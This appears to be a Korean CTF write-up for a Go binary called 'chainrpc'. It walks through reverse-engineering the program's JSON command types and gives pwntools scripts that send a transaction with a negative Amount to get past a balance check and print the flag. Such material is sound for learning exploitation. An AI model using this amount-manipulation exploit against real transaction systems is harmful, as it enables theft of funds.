checksec
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ checksec ./chainrpc
[*] '/home/ubuntu/hto2024/chainrpc/chainrpc'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Analysis
실행하고, 그냥 엔터치니까 JSON 내용을 입력해줘야하는듯.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc Failed to parse input as JSON: unexpected end of JSON input Failed to run command: unexpected end of JSON input Failed to parse input as JSON: unexpected end of JSON input Failed to run command: unexpected end of JSON input
{} 입력 결과 → args is nil 에러.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{}
Failed to execute command: args is nil
Failed to run command: args is nil
chainrpc_pkg_command_ExecuteCommand 함수에서 검사함.
__int64 __golang chainrpc_pkg_command_ExecuteCommand(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
int a5,
int a6,
int a7,
int a8,
int a9)
{
...
if ( !a2 )
{
fmt_Errorf((unsigned int)"args is nil", 11, 0, 0, 0, a6, a7, a8, a9, v85, v93, v101);
return 0;
}
...
args 구문 추가해줬더니 에러 안뜸(단 아무 출력이 없음). 유효한 구문인듯싶음.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"args": "DDDD", "A":"BBBB", "B": true, "C": 1337}
a2인 rbx 값을 확인해보면 ,”DDDD”로 넣어놨던 0x44444444가 들어가있음. 따라서 에러 안뜨는데 맞다.
>>> [START hook at chainrpc_pkg_command_getArgType (0x4EA0E0)]
RIP = 0x4ea0e0
args = {'rip': '0x4ea0e0', 'rax': '0x4f7140', 'rbx': '0xc000014100', 'rcx': '0xc0000140f0', 'rdi': '0x0', 'rsi': '0x18', 'r8': '0x4faf00', 'r9': '0xc0000140f0', 'r10': '0x18', 'r11': '0x98'}
(gdb) x/gx 0xc000014100 0xc000014100: 0x000000c000012158 (gdb) x/gx 0x000000c000012158 0xc000012158: 0x0000000044444444
golang에서 JSON을 파싱 하기 위해서는 struct 작성 필요.
“args” 스트링을 검색해봤더니 아래 텍스트가 눈에 띔.
.rodata:00000000004F08CD 00000010 C Args\vjson:\”args\”

해당 주소의 인접해있는 JSON 키값들을 봤을때, 다음 3가지 키를 받아옴.
- type
- args
- from

type 키 값이 유효하지 않음.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": "AAAAAAAA", "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to parse input as JSON: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
Failed to run command: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
^C
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"args": "BBBBBBBB", "from": "CCCCCCCC"}
(NO OUTPUT)
type 키값 타입은 정수형이여야 함.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": "AAAAAAAA", "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to parse input as JSON: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
Failed to run command: json: cannot unmarshal string into Go struct field CommandWithArgs.type of type command.CommandType
^C
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": true, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to parse input as JSON: json: cannot unmarshal bool into Go struct field CommandWithArgs.type of type command.CommandType
Failed to run command: json: cannot unmarshal bool into Go struct field CommandWithArgs.type of type command.CommandType
^C
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 1337, "args": "BBBBBBBB", "from": "CCCCCCCC"}
(NO OUTPUT)
type이 1337일때, chainrpc_pkg_command_ExecuteCommand 함수 호출시 rax 레지스터로 들어감
{"type": 1337, "args": "BBBBBBBB", "from": "CCCCCCCC"}
>>> [START hook at chainrpc_pkg_command_ExecuteCommand (0x4EA200)]
RIP = 0x4ea200
args = {'rip': '0x4ea200', 'rax': '0x539', 'rbx': '0xc0001860a0', 'rcx': '0xa', 'rdi': '0x10', 'rsi': '0x0', 'r8': '0x0', 'r9': '0x0', 'r10': '0xc000184028', 'r11': '0x0'}
type이 1일 경우.
{"type": 1, "args": "BBBBBBBB", "from": "CCCCCCCC"}
새 계정 생성.
// chainrpc/pkg/command.NewAccount
__int64 __golang chainrpc_pkg_command_NewAccount(
__int64 a1,
int a2,
__int64 a3,
__int64 a4,
__int64 a5,
int a6,
int a7,
int a8,
int a9)
{
__int64 v9; // rax
int v10; // eax
int v11; // r8d
int v12; // r9d
int v13; // r10d
int v14; // r11d
v9 = chainrpc_pkg_account_NewAccount(a1, a2, a3, a4, a5, a6, a7, a8, a9);
if ( v9 )
v9 = *(_QWORD *)(v9 + 8);
v10 = encoding_json_Marshal(v9, a2);
if ( a4 )
return (*(__int64 (__golang **)(__int64))(a4 + 24))(a5);
else
return runtime_slicebytetostring(0, v10, a2, 0, a5, v11, v12, v13, v14);
}
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 1, "args": "BBBBBBBB", "from": "CCCCCCCC"}
{"privateKey":"Rr8LOacVtLwQV1yyOgIS8qAWTNtdZMsXiXZEveluWwNvuWF+slvRyTgbpbWpJhdu5vwlTZhb6qi33IF6Cibbww==","publicKey":"b7lhfrJb0ck4G6W1qSYXbub8JU2YW+qot9yBegom28M=","balance":0}
type이 2일 경우.
not implemented 패닉 발생
// chainrpc/pkg/command.ExecuteCommand
__int64 __golang chainrpc_pkg_command_ExecuteCommand(
__int64 type,
__int64 (__golang *a2)(__int64, __int64),
__int64 a3,
__int64 a4,
int a5,
int a6,
int a7,
int a8,
int a9)
{
...
if ( _type == 2 )
runtime_gopanic(
(unsigned int)qword_4F7140,
(unsigned int)&off_543F40,
2,
(unsigned int)"\b",
v11,
v22,
v23,
v24,
v25);
...
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 2, "args": "BBBBBBBB", "from": "CCCCCCCC"}
panic: not implemented
goroutine 1 [running]:
chainrpc/pkg/command.ExecuteCommand({0xc000112000?, {0xc000012170?, 0x400?, 0x34?}})
chainrpc/pkg/command/command.go:102 +0x4c5
chainrpc/pkg/command.Run({0xc000112000?, 0x20?})
chainrpc/pkg/command/command.go:249 +0xa5
main.main()
./main.go:26 +0x276
type이 3일 경우.
{"type": 3, "args": "BBBBBBBB", "from": "CCCCCCCC"}
{"type": 3, "args": "flag", "from": "CCCCCCCC"}
파일을 불러오는듯 싶으나, 내용을 출력해주진 않음.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 3, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Loading blockchain from file
open BBBBBBBB: no such file or directory
^C
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 3, "args": "flag", "from": "CCCCCCCC"}
Loading blockchain from file
invalid character 'l' in literal false (expecting 'a')
// chainrpc/pkg/command.LoadChainFromFile
__int64 __golang chainrpc_pkg_command_LoadChainFromFile(
int a1,
__int64 a2,
int a3,
__int64 a4,
__int64 a5,
int a6,
int a7,
int a8,
int a9)
{
__int64 ChainFromFile; // rax
__int64 v10; // rcx
int v11; // ebx
int v12; // eax
int v13; // ecx
int v14; // r8d
int v15; // r9d
int v16; // r10d
int v17; // r11d
_QWORD *v18; // rax
int v19; // r8d
int v20; // r9d
int v21; // r10d
__int64 *v22; // r11
__int64 v23; // rdx
int v25; // [rsp+8h] [rbp-18h]
__int64 v26; // [rsp+10h] [rbp-10h]
ChainFromFile = chainrpc_pkg_chain_LoadChainFromFile(a1, a2, a3, a4, a5, a6, a7, a8, a9);
if ( a2 )
return (*(__int64 (__golang **)(__int64))(a2 + 24))(v10);
v26 = ChainFromFile;
v11 = ChainFromFile;
v12 = encoding_json_Marshal((int)"\b", ChainFromFile);
if ( a4 )
return (*(__int64 (__golang **)(__int64))(a4 + 24))(a5);
v25 = v12;
v18 = (_QWORD *)runtime_newobject(qword_504F20, v11, v13, 0, a5, v14, v15, v16, v17);
*v18 = &off_545610;
if ( dword_653FE0 )
{
v18 = (_QWORD *)runtime_gcWriteBarrier1(v18);
v23 = v26;
*v22 = v26;
}
else
{
v23 = v26;
}
v18[1] = v23;
if ( dword_653FE0 )
{
v18 = (_QWORD *)runtime_gcWriteBarrier2(v18);
*v22 = (__int64)v18;
v22[1] = qword_5F34F8;
}
qword_5F34F8 = (__int64)v18;
return runtime_slicebytetostring(0, v25, v11, 0, a5, v19, v20, v21, (_DWORD)v22);
}
type이 4일 경우.
{"type": 4, "args": "BBBBBBBB", "from": "CCCCCCCC"}
ArgType이 3이여야 함.
__int64 __golang chainrpc_pkg_command_ExecuteCommand(
...
ArgType = chainrpc_pkg_command_getArgType(*v109, v20, (__int64)v109, (__int64)"\b", v11, v16, v17, v18, v19);
...
if ( ArgType != 3 )
{
LABEL_35:
fmt_Errorf((unsigned int)"invalid arg type", 16, 0, 0, 0, v22, v23, v24, v25, v85, v88, v91);
return 0;
}
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 4, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to execute command: invalid arg type
Failed to run command: invalid arg type
chainrpc_pkg_command_getArgType은 리턴값은 다음과 같음.
- number type → return 0;
- string type → return 1;
- boolean type → return 0;
- {} object type → return 3;
- [] array type → return 4;
- null → return 5;
즉 type 키 값 타입은 {} object 여야함.
ArgType이 3 충족시, chainrpc_pkg_command_LoadChainFromJSON 호출.
if ( ArgType == 3 )
{
v37 = (int)v104;
v38 = runtime_slicebytetostring(
(unsigned int)&v100,
(_DWORD)v104,
v102,
(unsigned int)"\b",
v11,
v22,
v23,
v24,
v25);
return chainrpc_pkg_command_LoadChainFromJSON(v38, v37, v39, (unsigned int)"\b", v11, v40, v41, v42, v43);
}
함수 이름을 유추해봤을때, args 키값에 blockchain.json 내용을 넣으면?
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import json
p = process("./chainrpc")
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
with open('blockchain.json', 'r', encoding='utf-8') as f:
blockchain_data = json.load(f)
with open('account.json', 'r', encoding='utf-8') as f:
account_data = json.load(f)
payload = {
"type": 4,
"args": blockchain_data,
"from": "CCCCCCCC"
}
#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
p.interactive()
방금 보낸 blockchain 내용이 반환됨.
{"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]}
type이 5일 경우.
ArgType = 3 충족 필요 → “args” 키값 타입이 {} object여야함.
충족시 chainrpc_pkg_command_LoadAccount 호출.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 5, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to execute command: invalid arg type
Failed to run command: invalid arg type
if ( ArgType != 3 )
{
LABEL_35:
fmt_Errorf((unsigned int)"invalid arg type", 16, 0, 0, 0, v22, v23, v24, v25, v85, v88, v91);
return 0;
}
result = chainrpc_pkg_command_LoadAccount(_type, (__int64)v104, v102, v103, v11, v22, v23, v24, v25);
함수 이름을 유추해봤을때, args 키값에 account.json 내용을 넣으면?
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import json
p = process("./chainrpc")
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
with open('blockchain.json', 'r', encoding='utf-8') as f:
blockchain_data = json.load(f)
with open('account.json', 'r', encoding='utf-8') as f:
account_data = json.load(f)
payload = {
"type": 5,
"args": account_data,
"from": "CCCC"
}
#stage 2
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
p.interactive()
blockchain not initialized 에러 발생.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test2.py
[+] Starting local process './chainrpc': pid 6433
[+] payload: {"type": 5, "args": {"privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "asdf"}
[*] Switching to interactive mode
Failed to get blockchain: blockchain not initialized
Failed to execute command: invalid account
Failed to run command: invalid account
그러면 type 3인 chainrpc_pkg_command_LoadChainFromJSON 호출을 먼저하고, 다시해보자.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import json
# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
with open('blockchain.json', 'r', encoding='utf-8') as f:
blockchain_data = json.load(f)
with open('account.json', 'r', encoding='utf-8') as f:
account_data = json.load(f)
payload = {
"type": 4,
"args": blockchain_data,
"from": "CCCC"
}
#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
p.interactive()
성공적으로 수행한듯 싶다. 아래 메시지가 나타난다. Checking transactionValid account. Restore Complete
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test2_1.py
[+] Starting local process './chainrpc': pid 6455
[+] payload: {"type": 4, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": []}, "from": "CCCC"}
[+] payload: {"type": 5, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "CCCC"}
[*] Switching to interactive mode
{"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]}
Checking transaction
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
type이 6일 경우.
ArgType = 3 충족 필요 → “args” 키값 타입이 {} object여야함.
충족시 chainrpc_pkg_command_SendTransaction 호출.
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 6, "args": "BBBBBBBB", "from": "CCCCCCCC"}
Failed to execute command: invalid arg type
Failed to run command: invalid arg type
if ( _type == 6 )
{
if ( ArgType != 3 )
goto LABEL_35;
v106 = (__int64 (__golang *)(__int64, __int64))runtime_newobject("(", v20, 6, (int)"\b", v11, v22, v23, v24, v25);
if ( encoding_json_Unmarshal(v104, v102, v103, (__int64)"\b", v106, v45, v46, v47, v48) )
return 0;
else
return chainrpc_pkg_command_SendTransaction(
*(_QWORD *)v106,
*((_QWORD *)v106 + 1),
*((_QWORD *)v106 + 2),
*((_QWORD *)v106 + 3),
*((_QWORD *)v106 + 4),
v49,
v50,
v51,
v52,
v85,
v88,
v91);
type3인 chainrpc_pkg_command_LoadChainFromJSON,
type4인 chainrpc_pkg_command_LoadAccount,
차례로 호출후에 transaction 함수 이름을 생각해봤을때, 관련 내용이 들어가야할 것 같아
blockchain.json 파일 내용에 있는 transactions 0번째 인덱스 구문을 넣어봤다.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import json
# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
with open('blockchain.json', 'r', encoding='utf-8') as f:
blockchain_data = json.load(f)
with open('account.json', 'r', encoding='utf-8') as f:
account_data = json.load(f)
payload = {
"type": 4,
"args": blockchain_data,
"from": "CCCC"
}
#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
#stage 3
payload = json.loads(payload)
payload["type"] = 6
payload["args"].update(blockchain_data["blocks"][0]["transactions"][0])
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
p.interactive()
그랬더니 account not found 에러 발생.
...
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
account not found
이번에는 blockchain.json 파일 내용에 있는 transactions 1번째 인덱스 구문을 넣어봤다.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import json
# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
with open('blockchain.json', 'r', encoding='utf-8') as f:
blockchain_data = json.load(f)
with open('account.json', 'r', encoding='utf-8') as f:
account_data = json.load(f)
payload = {
"type": 4,
"args": blockchain_data,
"from": "CCCC"
}
#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
#stage 3
payload = json.loads(payload)
payload["type"] = 6
payload["args"].update(blockchain_data["blocks"][0]["transactions"][1])
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
p.interactive()
성공적으로 수행한듯 싶다. 아래 메시지가 나타난다.
Sending transaction
...
Valid account. Restore Complete
{"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50}
Sending transaction
type이 7일 경우.
ArgType이 1, 즉 “args” 키 값 타입은 string이여야함.
아래 함수를 호출함.
encoding_base64__ptr_Encoding_DecodeStringchainrpc_pkg_shorthash__ptr_digest_Writechainrpc_pkg_shorthash__ptr_digest_Sumruntime_convTslicefmt_Sprintf
%x 문자열을 보아하니 어떠한 16진수값을 출력하는듯.
if ( _type != 7 )
return 0;
if ( ArgType != 1 )
goto LABEL_35;
v53 = (__int64 (__golang *)(__int64, __int64))runtime_newobject(
qword_4F7140,
v20,
7,
(int)"\b",
v11,
v22,
v23,
v24,
v25);
v107 = (unsigned __int64 *)v53;
*(_QWORD *)v53 = 0;
v54 = (__int64)v53;
if ( encoding_json_Unmarshal(v104, v102, v103, (__int64)"\b", v53, v55, v56, v57, v58) )
{
return 0;
}
else
{
v63 = *v107;
v64 = encoding_base64__ptr_Encoding_DecodeString(
qword_5F3500,
*v107,
v107[1],
(unsigned int)"\b",
v54,
v59,
v60,
v61,
v62);
if ( "\b" )
{
return 0;
}
else
{
v95 = 0;
v96 = 0;
v97 = 0;
v98 = 0;
v99 = 0;
chainrpc_pkg_shorthash__ptr_digest_Write((__int64)&v95, v64, v63, v65, v54, v66, v67, v68, v69);
v74 = chainrpc_pkg_shorthash__ptr_digest_Sum(
(unsigned int)&v95,
0,
0,
0,
v54,
v70,
v71,
v72,
v73,
v85,
v88,
v91);
v105 = v9;
v80 = runtime_convTslice(v74, 0, v75, 0, v54, v76, v77, v78, v79, v86, v89, v92);
*(_QWORD *)&v105 = &unk_4F61C0;
*((_QWORD *)&v105 + 1) = v80;
return fmt_Sprintf((unsigned int)"%x", 2, (unsigned int)&v105, 1, 1, v81, v82, v83, v84, v87, v90, v93, v94);
}
}
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ ./chainrpc
{"type": 7, "args": "BBBBBBBB", "from": "CCCCCCCC"}
1f131f15
type이 1~7 그 외인 경우.
NO OUTPUT. 아무것도 출력되지 않음.
Flag 어딨나?
문자열 검색해보니 chainrpc_pkg_account._ptr_account.SendTransaction 함수에서 참조.
.text:00000000004E8A3D chainrpc_pkg_account._ptr_account.SendTransaction 48 8D 05 95 CB 02 00 lea rax, aFlag ; "flag”
math_big__ptr_Int_Cmp에서 비교함, 보내는 양이 99999999인지 확인.
_UNKNOWN **__golang chainrpc_pkg_account__ptr_account_SendTransaction(
...
else
{
v63 = *(void (__golang **)(__int64, __int64, __int64, _QWORD *))(v58 + 40);
v63(v59, v52, v51, v61);
v110 = 99999999;
v114 = 0;
v116 = 1;
v117 = 1;
v115 = &v110;
if ( math_big__ptr_Int_Cmp(a1[6], (unsigned int)&v114, v64, (_DWORD)v61, (_DWORD)v63, v65, v66, v67, v68) <= 0 )
return 0;
File = os_ReadFile((unsigned int)"flag", 4, v69, (_DWORD)v61, (_DWORD)v63, v70, v71, v72, v73, v99, v105);
if ( !v61 )
{
v129 = v9;
v79 = File;
v80 = runtime_slicebytetostring(0, File, 4, 0, (_DWORD)v63, v75, v76, v77, v78);
v86 = runtime_convTstring(v80, v79, v81, 0, (_DWORD)v63, v82, v83, v84, v85, v100, v106);
*(_QWORD *)&v129 = qword_4F7140;
*((_QWORD *)&v129 + 1) = v86;
fmt_Fprintln((unsigned int)&off_544A80, qword_5F34E8, (unsigned int)&v129, 1, 1, v87, v88, v89, v90);
return 0;
}
return (_UNKNOWN **)v61;
}
int 언더플로우를 통해
보내는 양 Amount를 int 최소값 - 요구값 99999999 으로 수정하면 flag 내용을 얻을 수 있었다.
solve.py
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import json
# p = remote("127.0.0.1", 1337)
p = process("./chainrpc")
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
with open('blockchain.json', 'r', encoding='utf-8') as f:
blockchain_data = json.load(f)
with open('account.json', 'r', encoding='utf-8') as f:
account_data = json.load(f)
payload = {
"type": 4,
"args": blockchain_data,
"from": "CCCC"
}
#stage 1
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
#stage 2
payload = json.loads(payload)
payload["type"] = 5
payload["args"].update(account_data)
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
#stage 3
payload = json.loads(payload)
payload["type"] = 6
payload["args"].update(blockchain_data["blocks"][0]["transactions"][1])
amount = payload["args"]["Amount"]
success(f"orig amount: {amount}")
payload["args"]["Amount"] = -2147483648 - 99999999
amount = payload["args"]["Amount"]
success(f"new amount: {amount}")
payload = json.dumps(payload)
success(f"payload: {payload}")
sl(payload)
p.interactive()
Result
ubuntu@2d0f4d9a440c:~/hto2024/chainrpc$ python3 solve_test3_2.py
[+] Starting local process './chainrpc': pid 6694
